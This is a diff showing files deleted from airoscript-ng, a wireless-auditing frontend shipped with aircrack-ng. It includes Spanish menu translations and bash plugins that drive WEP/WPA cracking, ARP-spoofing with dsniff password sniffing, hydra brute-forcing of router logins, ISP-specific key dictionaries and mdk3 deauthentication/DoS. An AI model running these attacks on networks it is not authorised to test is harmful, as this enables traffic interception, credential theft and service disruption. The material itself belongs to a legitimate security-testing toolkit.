-msgstr "Error: Numero incorrecto"
-#: src/functions/menu:43
-msgid "You have no IVS, please scan first"
-msgstr "No tienes ivs, por favor escanea primero"
-#: src/functions/menu:45
-msgid "WEP/WPA Cracking Options"
-msgstr "Crackeo WEP/WPA"
-#: src/functions/menu:45
-msgid "Crack with manual dictionary"
-msgstr "Crackear con diccionario manual"
-#: src/functions/menu:45
-msgid "Standard aircrack-ng"
-msgstr "Aircrack-ng standard"
-#: src/functions/menu:45
-msgid "Return to menu"
-msgstr "Volver"
-#: src/functions/menu:60
-msgid "Select encryption"
-msgstr "Seleccionar encriptacion"
-#: src/functions/menu:60
-msgid "Return to main menu"
-msgstr "Volver al menu principal"
-#: src/functions/menu:79
-msgid "Channel"
-msgstr "Canal"
-#: src/functions/menu:79
-msgid "Channel Hoping"
-msgstr "Salto de canales"
-#: src/functions/menu:79
-msgid "Specific Channel"
-msgstr "Canal especifico"
-#: src/functions/menu:103
-msgid "Extra tools"
-msgstr "Herramientas extra"
-#: src/functions/menu:103
-msgid "Airoscript Options"
-msgstr "Opciones de airoscript"
-#: src/functions/menu:103
-msgid "Advanced tools"
-msgstr "Herramientas avanzadas"
-#: src/functions/menu:103
-msgid "External plugins"
-msgstr "Plugins externos"
-#: src/functions/internal/scansel:20
-msgid "Enter channel (single, range, or comma-separated): "
-msgstr "Introduzca el canal (un solo canal, un rango, o separados por comas)"
-#: src/functions/internal/scansel:23
-msgid "Scanning for targets on channel $channel_number"
-msgstr "Escanando objetivos en el canal $channel_number"
-#: src/functions/internal/scansel:29
-msgid "${mark}${red}Select a client${end}\\n"
-msgstr "${mark}${red}Seleccione un cliente${end}\\n"
-#: src/functions/internal/scansel:37
-msgid "Client Selection"
-msgstr "Seleccion de clientes"
-#: src/functions/internal/scansel:38
-msgid "Select client"
-msgstr "Selecciona un cliente"
-#: src/functions/internal/scansel:39
-msgid "Enable dynamic mode (ask for client in each attack)"
-msgstr "Activar modo dinamico (preguntar por el cliente en cada ataque)"
-#: src/functions/internal/scansel:40
-msgid "Manually enter client MAC"
-msgstr "Introducir mac de cliente a mano"
-#: src/functions/internal/scansel:45
-msgid "Type in client mac now"
-msgstr "Introduzca la mac del cliente"
-#: src/functions/internal/startup:219
-msgid "Interface used is"
-msgstr "La interfaz es"
-#: src/functions/internal/startup:220
-msgid "Interface type is"
-msgstr "El tipo de la interfaz es "
-#: src/functions/internal/startup:228
-msgid "Please enter Host SSID"
-msgstr "Por favor, introduzca la SSID"
-#: src/functions/internal/startup:266
-msgid "Changed fake_mac :"
-msgstr "Cambiada mac falsa"
-#: src/functions/internal/startup:269
-msgid "Automatically setting fake mac"
-msgstr "Configurando mac falsa automaticamente"
-#: src/functions/crack/main:25
-msgid "WEP Cracking Options"
-msgstr "Opciones de crackeo WEP"
-#: src/functions/crack/main:25
-msgid "aircrack-ng defaults"
-msgstr "Por defecto"
-#: src/functions/crack/main:25
-msgid "aircrack-ng Korek"
-msgstr "Korek"
-#: src/functions/crack/main:25
-msgid "aircrack-ng interactive"
-msgstr "Interactivas"
-#: src/functions/crack/main:27
-msgid "Cracking wep, default options"
-msgstr "Crackeando wep, opciones por defecto"
-#: src/functions/crack/main:28
-msgid "Cracking wep, Korek"
-msgstr "Crackeando wep, Korek"
-#: src/functions/crack/main:30
-msgid "Type encryption size (64,128...): "
-msgstr "Tamaño de la encriptacion (64,128...)"
-#: src/functions/crack/main:31
-msgid "Cracking wep, manual options"
-msgstr "Crackeando wep, opciones manuales"
-#: src/functions/crack/main:42
-msgid "WPA Cracking Options"
-msgstr "Opciones de crackeo wpa"
-#: src/functions/crack/main:42
-msgid "Standard"
-msgstr "Standard"
-#: src/functions/crack/main:42
-msgid "Use precomputed pmk database"
-msgstr "Base de datos precomputada pmk"
-#: src/functions/crack/main:46
-msgid "Cracking with stdin entered data by $pipe"
-msgstr "Crackeando con datos de stdin por $pipe"
-#: src/functions/crack/main:47
-msgid "Cracking WPA"
-msgstr "Crackeando WPA"
-#: src/functions/crack/main:52
-msgid "Sorry, you cant crack wpa without a dictionary on $WORDLIST"
-msgstr "Lo siento, no puedes crackear wpa sin un diccionario en $WORDLIST"
-#: src/functions/crack/main:62
-msgid "Enter Database location $db_location"
-msgstr "Introduzca la localizacion de la base de datos $db_location"
-#: src/functions/crack/main:64
-msgid "Cracking WPA with pmk database"
-msgstr "Crackeando WPA con base de datos pmk"
-#: src/functions/crack/main:73
-msgid "Network not encrypted or no network selected "
-msgstr "La red no esta encriptada o no ha seleccionado ninguna"
-#: src/functions/reporting:76
-msgid "Enter format (CPG|CAPR) (CAPR by default): "
-msgstr "Introduzca formato (CPG|CAPR) (por defecto es CAPR)"
-#: src/functions/reporting:78
-msgid "Generating graphics"
-msgstr "Generando graficos"
-#: src/functions/reporting:79
-msgid "Do you want to launch a browser? y|N "
-msgstr "¿Quieres lanzar un navegador? y|N"
-#: src/functions/reporting:81
-msgid "Error: You have to scan for targets first"
-msgstr "Error: Tienes que escanear objetivos antes"
-#: src/functions/attacks/wpa:28
-msgid "${mark}${red}WPA attacks${end}\\n"
-msgstr "${mark}${red}Attaques WPA${end}\\n"
-#: src/functions/attacks/wpa:38
-msgid "Select WPA Attack"
-msgstr "Selecciona ataque wpa"
-#: src/functions/attacks/wpa:38
-msgid "Standard attack"
-msgstr "Ataque standard"
-#: src/functions/attacks/wpa:38
-msgid "Standard attack with QoS (WMM)"
-msgstr "Ataque con QoS"
-#: src/functions/attacks/wpa:38
-msgid "WPA migration mode"
-msgstr "Ataque de modo de migracion WPA"
-#: src/functions/attacks/wpa:56
-msgid "Capturing data on channel: $Host_CHAN"
-msgstr "Capturando datos en el canal: $Host_CHAN"
-#: src/functions/attacks/wpa:66
-msgid "Executing tkiptun-ng for ap $Host_MAC"
-msgstr "Ejecutando tkiptun-ng para el punto de acceso $Host_MAC"
-#: src/functions/attacks/others:22
-msgid "Other aircrack-ng tools"
-msgstr "Otras herramientas de aircrack-ng"
-#: src/functions/attacks/others:22
-msgid "Scanning"
-msgstr "Escaneando"
-#: src/functions/attacks/others:22
-msgid "Injection"
-msgstr "Inyeccion"
-#: src/functions/attacks/others:22
-msgid "Autentication"
-msgstr "Autenticacion"
-#: src/functions/attacks/others:22
-msgid "Package manipulation"
-msgstr "Manipulacion de paquetes"
-#: src/functions/attacks/others:22
-msgid "Create virtual interface with airtun-ng"
-msgstr "Crear interfaz virtual con airtun-ng"
-#: src/functions/attacks/others:22
-msgid "Diagnostics and reports"
-msgstr "Diagnosticos e informes"
-#: src/functions/attacks/others:22
-msgid "Auto crack wep with wesside-ng"
-msgstr "Auto crackear wep con wesside-ng"
-#: src/functions/attacks/others:41
-msgid "Your hccap file is in $DUMP_PATH/$Host_MAC-01.hccap . Press enter to continue"
-msgstr "Tu fichero hccap esta en $DUMP_PATH/$Host_MAC-01.hccap. Pulsa enter para continuar"
-#: src/functions/attacks/others:88
-msgid "Package manipulation tools"
-msgstr "Manipulacion de paquetes"
-#: src/functions/attacks/others:88
-msgid "Merge all ivs from all sessions"
-msgstr "Unir todos los ivs de todas las sesiones"
-#: src/functions/attacks/others:88
-msgid "Decrypt current packages"
-msgstr "Desencriptar paquetes actuales"
-#: src/functions/attacks/others:88
-msgid "Decloack packages"
-msgstr "Decloack packages"
-#: src/functions/attacks/others:89
-msgid "Generate hccap file for oclhashcat"
-msgstr "Generar archivo hccap para oclhashcat"
-#: src/functions/attacks/others:123
-msgid "Select merged data as target? (y/N): "
-msgstr "Seleccionar datos unidos como objetivo? (y|N)"
-#: src/functions/attacks/others:123
-msgid "y"
-msgstr "y"
-#: src/functions/attacks/others:131
-msgid "Choose Wesside-ng Options"
-msgstr "Elije las opciones de wesside-ng"
-#: src/functions/attacks/others:131
-msgid "No args"
-msgstr "Sin argumentos"
-#: src/functions/attacks/others:131
-msgid "Selected target"
-msgstr "Objetivo seleccionado"
-#: src/functions/attacks/others:173
-msgid "Show kstats report"
-msgstr "Informe de kstats"
-#: src/functions/attacks/others:173
-msgid "Test injection"
-msgstr "Probar inyeccion"
-#: src/functions/attacks/others:173
-msgid "Checks with airmon-ng"
-msgstr "Pruebas con airmon"
-#: src/functions/attacks/others:173
-msgid "Create graphs"
-msgstr "Generar graficos"
-#: src/functions/attacks/others:173
-msgid "Update airoscript report"
-msgstr "Actualizar informe de airoscript-ng"
-#: src/functions/attacks/others:206
-msgid "Select another interface"
-msgstr "Cambiar interfaz"
-#: src/functions/attacks/others:206
-msgid "Reset selected interface"
-msgstr "Resetear interfaz"
-#: src/functions/attacks/others:207
-msgid "Change MAC of interface"
-msgstr "Cambiar MAC"
-#: src/functions/attacks/others:207
-msgid "Enable monitor mode"
-msgstr "Activar modo monitor"
-#: src/functions/attacks/others:207
-msgid "Change DUMP_PATH"
-msgstr "Cambiar DUMP_PATH"
-#: src/functions/attacks/others:208
-msgid "Try to configure network"
-msgstr "Intentar autoconfiguracion de red"
-#: src/functions/attacks/others:225
-msgid "Interface cleanup"
-msgstr "Limpieza de interfaz"
-#: src/functions/attacks/others:225
-msgid "Normal cleanup"
-msgstr "Limpieza normal"
-#: src/functions/attacks/others:225
-msgid "Reset driver"
-msgstr "Resetear driver"
-#: src/functions/attacks/others:225
-msgid "Vmware fix for bt4"
-msgstr "Fix de vmware para bt4"
-#: src/functions/attacks/others:244
-msgid "Enter new path: "
-msgstr "Introduzca path nuevo: "
-#: src/functions/attacks/others:245
-msgid "Copy data into new folder? (y/N): "
-msgstr "Copiar datos en el directorio nuevo? (y|N)"
-#: src/functions/attacks/others:246
-msgid "Erase old folder? (y/N): "
-msgstr "Borrar antiguo directorio? (y|N)"
-#: src/functions/attacks/others:253
-msgid "Create virtual interface"
-msgstr "Crear interfaz virtual"
-#: src/functions/attacks/others:257
-msgid "Select buddy IP"
-msgstr "Seleccionar buddy IP"
-#: src/functions/attacks/others:258
-msgid "Choose ap mac "
-msgstr "Elegir mac del punto de acceso "
-#: src/functions/attacks/others:258
-msgid "Choose source mac"
-msgstr "Elegir mac de origen "
-#: src/functions/attacks/others:258
-msgid "Chosse Source IP"
-msgstr "Elegir ip de origen"
-#: src/functions/attacks/others:258
-msgid "Choose router ip"
-msgstr "Elegir ip de router"
-#: src/functions/attacks/others:258
-msgid "Execute"
-msgstr "Ejecutar"
-#: src/functions/attacks/others:258
-msgid "Return"
-msgstr "Volver"
-#: src/functions/attacks/others:259
-msgid "Anser: "
-msgstr "Respuesta: "
-#: src/functions/attacks/others:286
-msgid "Do you want to use airserv-ng? y/N "
-msgstr "¿Quieres usar airserv-ng?"
-#: src/functions/attacks/others:288
-msgid "Start a local server? y/N "
-msgstr "Usar un servidor local? y|N"
-#: src/functions/attacks/others:290
-msgid "Enter airserv-ng address 127.0.0.1:666"
-msgstr "Introduzca ip de airserv-ng 127.0.0.1:666"
-#: src/functions/attacks/wep:34
-msgid "${mark}${red}Wep attacks${end}\\n"
-msgstr "${mark}${red}Attaques WEP${end}\\n"
-#: src/functions/attacks/wep:48
-msgid "Attacks using a client"
-msgstr "Usando un cliente"
-#: src/functions/attacks/wep:50
-msgid "Fragmentation attack"
-msgstr "Ataque de fragmentacion"
-#: src/functions/attacks/wep:51
-msgid "Chopchop attack"
-msgstr "Ataque chopchop"
-#: src/functions/attacks/wep:78
-msgid "Enter destination mac: (FF:FF:FF:FF:FF:FF)"
-msgstr "Introduzca mac de destino (FF:FF:FF:FF:FF:FF)"
-#: src/functions/attacks/wep:87
-msgid "Cafe Latte Attack on: $Host_SSID "
-msgstr "Ataque caffe latte en $Host_SSID"
-#: src/functions/attacks/wep:97
-msgid "Interactive Packet Sel on: $Host_SSID"
-msgstr "Seleccion interactiva de paquetes en $Host_SSID"
-#: src/functions/attacks/wep:109
-msgid "Fragmentation w/o client"
-msgstr "Fragmentacion sin cliente"
-#: src/functions/attacks/wep:126
-msgid "Chopchoping at $Host_SSID"
-msgstr "Chopchopeando $Host_SSID"
-#: src/functions/attacks/wep:131
-msgid "Directed ChopChoping to $Client_MAC at $Host_SSID"
-msgstr "Chopchop dirigido a $Client_MAC en $Host_SSID"
-#: src/functions/attacks/auth:18
-msgid "Autentication menu"
-msgstr "Menu de autenticacion"
-#: src/functions/attacks/auth:18
-msgid "Fake autentication"
-msgstr "Autenticacion falsa"
-#: src/functions/attacks/auth:18
-msgid "Deautentication"
-msgstr "Desautenticacion"
-#: src/functions/attacks/auth:33
-msgid "Who do you want to deauth?"
-msgstr "¿A quien quieres deautenticar?"
-#: src/functions/attacks/auth:33
-msgid "Everybody"
-msgstr "A todos"
-#: src/functions/attacks/auth:33
-msgid "Myself (fake mac)"
-msgstr "A mi mismo (mac falsa)"
-#: src/functions/attacks/auth:33
-msgid "Selected client"
-msgstr "Cliente seleccionado"
-#: src/functions/attacks/auth:40
-msgid "Deauth All"
-msgstr "Desautenticando a todos"
-#: src/functions/attacks/auth:41
-msgid "Deauth client"
-msgstr "Desautenticando al cliente"
-#: src/functions/attacks/auth:42
-msgid "Deautenticating"
-msgstr "Desautenticando"
-#: src/functions/attacks/auth:50
-msgid "Fake Auth Method"
-msgstr "Metodo de autenticacion falsa"
-#: src/functions/attacks/auth:50
-msgid "Conservative"
-msgstr "Conservador"
-#: src/functions/attacks/auth:50
-msgid "Progressive"
-msgstr "Progresivo"
-#: src/functions/attacks/auth:50
-msgid "Xor Injection"
-msgstr "Inyeccion XOR"
-#: src/functions/_internal:155
-msgid ""
-"  Airoscript is provided under the gpl.\n"
-"I'm not responsible of the use anyone can give to airoscript.\n"
-"Written for educational purpose in mind.\n"
-""
-msgstr ""
-"Airoscript se provee bajo la GPL\n"
-"No soy responsable del uso que nadie pueda darle a airoscript\n"
-"Airoscript ha sido escrito con objetivo educativo\n"
-""
-#: src/functions/_internal:180
-msgid "Enter extra options to execute: "
-msgstr "Introduzca opciones extra"
-#: src/functions/_internal:205
-msgid "Debug Mode enabled, you'll have to manually close windows"
-msgstr "Modo debug activado"
-#: src/functions/_internal:218
-msgid "INFO Output folder is"
-msgstr "INFO El directorio de salida es "
-#: src/functions/_internal:221
-msgid "Error Output folder does not exists or is a regular file."
-msgstr "Error El directorio de salida no existe o no es un directorio"

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/locale/es_ES.UTF-8 Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/locale/es_ES.UTF-8/Makefile Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/locale/es_ES.UTF-8/airoscript-ng.po Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/arpspoof Deleted

@@ -1,23 +0,0 @@
-# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions.
-#DEPENDS: arpspoof
-# This is highly unmantained, as now is a plugin, you can easily modify it =)
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-p_menu+=("Enable arp spoof on dsniff usage");
-Enable_arp_spoof_on_dsniff_usage(){ dsniff_helpers+=('arpspoof');}
-function arpspoof(){
-    execute "Arp spoofing 2" arpspoof -t $target_ip $target_router_ip
-    execute "Arp spoofing 1" arpspoof -t $target_router_ip $target_ip
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/bash Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/debug Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/delay Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/digenpy Deleted

@@ -1,106 +0,0 @@
-# Dict generators for airoscript
-#DEPENDS: digenpy
-# Copyright (C) 2009-2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-
-p_menu+=("Crack with dictionary generator");
-
-
-digenpy_(){
-     "$Host_ENC" =~ (.*)WPA(.*)  && { enc="WPA"; } || { enc="WEP"; }
-     "$3" == "crack"  && {
-        execute "Cracking" crack $AIRCRACK -0 -l $DUMP_PATH/$Host_MAC.key -w $DUMP_PATH/digenpy__dic $DUMP_PATH/$Host_MAC-01.cap
-    } || {
-         $3 == "conn_crack"  && {
-            conn_crack && cp $DUMP_PATH/digenpy__dic $DUMP_PATH/$Host_MAC.key || return 1
-        } || {
-            AUTO=1; QUIET=0;
-            digenpy $1 $2 $Host_MAC $Host_SSID $enc > $DUMP_PATH/digenpy__dic;
-            markwarn "Dictionary automatically generated present in $DUMP_PATH/digenpy__dic"
-            AUTO=0; QUIET="";
-        }
-    }
-}
-
-Telefonica(){
-    if  "$Host_SSID" =~ WLAN* ; then
-        avail=1;
-         $test == 1  && return
-        digenpy_ Spanish Telefonica
-        digenpy_ Spanish Telefonica crack && cracked=1
-    fi
-}
-
-Jazztel(){
-    if  "$Host_SSID" =~ JAZZTEL* ; then
-        avail=1;
-         $test == 1  && return
-         "$Host_ENC" =~ (.*)WPA(.*)  && {  min_ivs=10; return; }
-        warn $"Encription is" "$Host_ENC"
-        digenpy_ Spanish Jazztel
-        digenpy_ Spanish Jazztel crack  && cracked=1
-    fi;
-}
-
-TelefonicaWPA(){
-    if  "$Host_SSID" =~ WLAN* ; then
-        avail=1;
-         $test == 1  && return
-        digenpy_ Spanish TelefonicaWPA
-        digenpy_ Spanish TelefonicaWPA conn_crack && cracked=1
-    fi
-}
-
-JazztelWPA(){
-    if  "$Host_SSID" =~ JAZZTEL* ; then
-        avail=1;
-         $test == 1  && return
-         "$Host_ENC" =~ (.*)WPA(.*)  && {  min_ivs=10; return; }
-        warn $"Encription is" "$Host_ENC"
-        digenpy_ Spanish JazztelWPA
-        digenpy_ Spanish JazztelWPA conn_crack  && cracked=1
-    fi;
-}
-
-Crack_with_dictionary_generator(){
-    if  "$Host_SSID" == "" ; then $clear; echo -e $"Error: You must select a target first"; return; fi
-
-     "${1}" == "get_wpa"  && {
-        for function in "TelefonicaWPA" "JazztelWPA" ; do
-            $function;
-        test=0;  done
-        return
-    }
-
-    if  "$1" == "return_ivs" ; then
-        for function in "Telefonica" "Jazztel" ; do test=1; $function; test=0;  "$avail" == "1"  && return 4; done
-        return 255
-    else
-        for function in "Telefonica" "Jazztel"; do
-            tag
-             $QUIET_DIGENPY == 1  ||  warn "${mark}Trying $function"
-            $function
-             "$cracked" == "1"  && return
-        done
-
-        if  "$1" == "autocrack" ; then
-            export wait_for_execute=1; AUTO=1; selectcracking 1; AUTO=0; export wait_for_execute=0;
-        else
-            selectcracking
-        fi
-
-    fi
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/dsniff Deleted

@@ -1,53 +0,0 @@
-# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions.
-#DEPENDS: dsniff
-# This is highly unmantained, as now is a plugin, you can easily modify it =)
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-# Use this ON YOUR OWN NETWORKS, UNDER YOUR OWN RESPONSABILITY.
-# THIS IS A CRUDE ATTACK, YOU'RE PROBABLY GOING TO GET CAUGHT IF YOU MISUSE IT.
-p_menu+=("Sniff connections with dsniff")
-
-check_function enable_forwarding || source $path/plugins/forwarding
-check_function arpspoof || source $path/plugins/arpspoof
-check_function airtunmenu || source $path/attacks/others
-
-execute_dsniff(){
-     execute "Sniffing virtual interface" dsniff -i at0 -w /tmp/dsniff.keys
-     execute "Current passwords" tail -f /tmp/dsniff.keys
-}
-
-get_ip(){
-     dhclient at0 && {
-        target_router_ip=$(ip route list dev at0 |awk '/default/ { print $3}' );
-        target_ip=$(ip route list dev at0| awk '/src/ {print $7}' )
-     } || {
-        single_question "Cant configure network, enter 'Victim_ip,router_ip' ";
-        target_ip=$(cut -d, -f1 <<< $ans)
-        target_router_ip=$(cut -d, -f1 <<< $ans)
-     }
-}
-
-Sniff_connections_with_dsniff(){
-    warn "$mark Enabling ip forwarding "; enable_forwarding
-    warn "$mark Enabling port redirect "; enable_traffic_redirect
-    warn "$mark Getting network ip address"; get_ip
-    warn "$mark Killing airtun to remove possible old at interfaces" clean_airtun
-    warn "$mark Launching airtun to create at0"; airtunmenu
-    warn "$mark Launching helpers defined in other plugins"; for i in "${dsniff_helpers@}"; do $i; done
-    warn "$mark Starting dsniff" execute_dsniff
-    warn "$mark Press enter to stop the attack"; read
-    disable_ip_forwarding; disable_traffic_redirect; killall dsniff ${dsniff_helpsers@}; clean_airtun
-}
-
-

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/hydra Deleted

@@ -1,32 +0,0 @@
-# Dict generators for airoscript
-#DEPENDS: hydra
-# Copyright (C) 2009-2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-
-p_menu+=("Crack default router passwords");
-
-hydra_(){
-    router_ip=$(ip route list dev $wificard |awk '/default/ { print $3}' );
-    cp $path/plugins/hydra_logins $DUMP_PATH/default_router_logins;
-    cp $path/plugins/hydra_passwords $DUMP_PATH/default_router_passwords;
-    hydra  -L $DUMP_PATH/default_router_logins -P $DUMP_PATH/default_router_passwords -o $DUMP_PATH/router.key $router_ip http-get || {
-    hydra  -L $DUMP_PATH/default_router_logins -P $DUMP_PATH/default_router_passwords -o $DUMP_PATH/router.key $router_ip http-head; } || {
-    hydra  -L $DUMP_PATH/default_router_logins -P $DUMP_PATH/default_router_passwords -o $DUMP_PATH/router.key $router_ip https-head; }
-}
-
-Crack_default_router_passwords(){
-    configure && hydra_
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/hydra_logins Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/hydra_passwords Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/iptables Deleted

@@ -1,33 +0,0 @@
-# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions.
-#DEPENDS: iptables
-# This is highly unmantained, as now is a plugin, you can easily modify it =)
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-function enable_ip_forwarding(){
-    echo 1 > /proc/sys/net/ipv4/ip_forward
-}
-
-function enable_traffic_redirect(){
-    iptables_save > $DUMP_PATH/original_iptables
-    iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 8080
-}
-
-function disable_traffic_redirect(){
-    iptables-restore < $DUMP_PATH/original_iptables
-}
-
-function disable_ip_forwarding(){
-    echo 0 > /proc/sys/net/ipv4/ip_forward
-}
-

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/johntheripper Deleted

@@ -1,45 +0,0 @@
-# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions.
-#DEPENDS: john
-# This is highly unmantained, as now is a plugin, you can easily modify it =)
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-check_function selectcracking || source $path/crack/main # It depends on injection module ;)
-
-p_menu+=("Crack with john the ripper");
-Crack_with_john_the_ripper(){
-    declare -a opts jopts rules words
-     -e $WORDLIST  && wl="-w=$WORDLIST"
-
-    mkmenu "John the ripper options" "Use autoincremental" "Use dictionary with custom rule" "Return to main menu"
-    c=$choice;
-
-    case $c in
-        1) opts=( "All" "Alnum" "Alpha" "Digits" "LanMan" "Return" )
-            $choice == ${#opts}  && break;
-           mkmenu "Choose incremental type" ${opts@}
-           jopts+=" -incremental=${opts$choice - 1} "
-        ;;
-        2)  command grep '\List.Rules' ~/.john/john.conf|tr -d '' |\
-            sed 's/List.Rules://g'|grep -v "#"|\
-            tr '\n' ' ' > $DUMP_PATH/parsed_john_config
-             _rules=( `cat $DUMP_PATH/parsed_john_config` ); mkmenu "Rules"  ${_rules@}; rules+="$wl -ru=${_rules$choice - 1} "
-        ;;
-        3) break ;;
-    esac
-
-    export pipe="john ${words@} ${rules@} ${jopts@} -stdout |";
-    echo $pipe
-    selectcracking;
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/mdk3 Deleted

@@ -1,60 +0,0 @@
-# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions.
-#DEPENDS: mdk3
-# This is highly unmantained, as now is a plugin, you can easily modify it =)
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-MDK3=mdk3
-p_menu+=( "Mdk3 Attacks" );
-
-Mdk3_Attacks(){
-     if  $( whereis mdk3) ; then
-         while true; do
-            $clear; mkmenu "Choose MDK3 Options" "Deauthentication"\
-             "Prob selected AP" "Select another target"\
-             "Autentication DoS" "Return to main menu"
-            read yn
-            case $yn in
-                1 ) mdkpain ; break ;;
-                2 ) mdktargetedpain ; break ;;
-                3 ) mdknewtarget ; break ;;
-                4 ) mdkauth ; break ;;
-                5 ) break ;;
-                * ) echo $"Unknown response. Try again" ;;
-            esac
-        done
-
-        else warn "Sorry, this is not installed on your system"
-        fi
-}
-
-mdkpain(){
-        execute "MDK3 Pain" $MDK3 $wifi d & choosemdk
-}
-
-mdktargetedpain(){
-        execute "MDK3 Targeted pain" $MDK3 $wifi p -b a -c $Host_CHAN -t\
-            $Host_MAC & choosemdk
-}
-
-mdknewtarget(){
-    selectAp
-    choosemdk
-}
-
-mdkauth(){
-        execute "MDK3 AUTH" $MDK3 $wifi a & choosemdk
-}
-
-

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/mouse_support Deleted

@@ -1,51 +0,0 @@
-# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions.
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-is_number(){
-	 $1 =~ ^0-9+$ 
-}
-function get_mouse_position(){
-	_STTY=$(stty -g)
-	echo -en "\e?1000h"; read -n12 x &>/dev/null ; echo -en "\r                 \r";  echo -en "\e?1000l"
-	is_number $x && { echo $x; choice=$x; return; }
-	stty "$_STTY"
-	m1=${x#???}
-	m2=${x#????}
-	m3=${x#?????}
-	eval "$(printf "mb=%d mx=%d my=%d" "'$m1" "'$m2" "'$m3")"
